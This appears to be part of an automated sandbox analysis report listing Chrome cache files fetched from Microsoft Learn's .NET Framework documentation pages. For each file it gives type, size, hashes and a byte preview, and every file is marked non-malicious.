SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	dropped
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/docons.6a251ae.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	downloaded
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/scripts/en-us/index-docs.js
